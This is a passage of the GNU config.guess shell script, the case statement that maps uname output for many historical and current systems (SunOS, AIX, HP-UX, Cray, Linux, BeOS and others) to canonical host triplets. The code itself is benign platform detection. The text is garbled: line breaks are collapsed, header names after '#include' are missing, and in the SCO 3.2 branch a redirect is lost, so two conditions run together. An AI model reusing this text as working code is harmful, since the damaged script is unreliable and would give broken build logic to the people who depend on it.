i386-pc-auroraux${UNAME_RELEASE} exit ;; i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) eval $set_cc_for_build SUN_ARCH="i386" # If there is a compiler, see if it is configured for 64-bit objects. # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. # This test works for both compilers. if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \ grep IS_64BIT_ARCH >/dev/null then SUN_ARCH="x86_64" fi fi echo ${SUN_ARCH}-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:6*:*) # According to config.sub, this is the proper way to canonicalize # SunOS6. Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` && SYSTEM_NAME=`$dummy $dummyarg` && { echo "$SYSTEM_NAME"; exit; } echo mips-mips-riscos${UNAME_RELEASE} exit ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` then echo "$SYSTEM_NAME" else echo rs6000-ibm-aix3.2.5 fi elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit ;; *:AIX:*:[4567]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit ;; *:AIX:*:*) echo rs6000-ibm-aix exit ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then eval $set_cc_for_build # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler # generating 64-bit code. GNU and HP use different nomenclature: # # $ CC_FOR_BUILD=cc ./config.guess # => hppa2.0w-hp-hpux11.23 # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess # => hppa64-hp-hpux11.23 if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | grep -q __LP64__ then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } echo unknown-hitachi-hiuxwe2 exit ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit ;; *:FreeBSD:*:*) case ${UNAME_MACHINE} in pc98) echo i386-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; amd64) echo x86_64-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; *) echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; esac exit ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit ;; *:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit ;; i*:windows32*:*) # uname -m includes "-pc" on this system. echo ${UNAME_MACHINE}-mingw32 exit ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit ;; *:Interix*:*) case ${UNAME_MACHINE} in x86) echo i586-pc-interix${UNAME_RELEASE} exit ;; authenticamd | genuineintel | EM64T) echo x86_64-unknown-interix${UNAME_RELEASE} exit ;; IA64) echo ia64-unknown-interix${UNAME_RELEASE} exit ;; esac ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit ;; 8664:Windows_NT:*) echo x86_64-pc-mks exit ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit ;; amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) echo x86_64-unknown-cygwin exit ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep -q ld.so.1 if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit ;; arm*:Linux:*:*) eval $set_cc_for_build if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ARM_EABI__ then echo ${UNAME_MACHINE}-unknown-linux-gnu else if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ARM_PCS_VFP then echo ${UNAME_MACHINE}-unknown-linux-gnueabi else echo ${UNAME_MACHINE}-unknown-linux-gnueabihf fi fi exit ;; avr32*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; cris:Linux:*:*) echo cris-axis-linux-gnu exit ;; crisv32:Linux:*:*) echo crisv32-axis-linux-gnu exit ;; frv:Linux:*:*) echo frv-unknown-linux-gnu exit ;; i*86:Linux:*:*) LIBC=gnu eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^LIBC'` echo "${UNAME_MACHINE}-pc-linux-${LIBC}" exit ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; mips:Linux:*:* | mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef ${UNAME_MACHINE} #undef ${UNAME_MACHINE}el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=${UNAME_MACHINE}el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=${UNAME_MACHINE} #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^CPU'` test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } ;; or32:Linux:*:*) echo or32-unknown-linux-gnu exit ;; padre:Linux:*:*) echo sparc-unknown-linux-gnu exit ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; tile*:Linux:*:*) echo ${UNAME_MACHINE}-tilera-linux-gnu exit ;; vax:Linux:*:*) echo ${UNAME_MACHINE}-dec-linux-gnu exit ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit ;; xtensa*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit ;; i*86:*:5:[678]*) # UnixWare 7.x, OpenUNIX and OpenServer 6. case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i586. # Note: whatever this is, it MUST be the same as what config.sub # prints for the "djgpp" host, or else GDB configury will decide that # this is a cross-build. echo i586-pc-msdosdjgpp exit ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit ;; paragon:*:*:*) echo i860-intel-osf1 exit ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4; exit; } ;; NCR*:*:4.2:* | MPRAS*:*:4.2:*) OS_REL='.3' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit ;; i*86:VOS:*:*) # From Paul.Green@stratus.com. echo ${UNAME_MACHINE}-stratus-vos exit ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit ;; BePC:Haiku:*:*) # Haiku running on Intel PC compatible. echo i586-pc-haiku exit ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit ;; SX-7:SUPER-UX:*:*) echo sx7-nec-superux${UNAME_RELEASE} exit ;; SX-8:SUPER-UX:*:*) echo sx8-nec-superux${UNAME_RELEASE} exit ;; SX-8R:SUPER-UX:*:*) echo sx8r-nec-superux${UNAME_RELEASE} 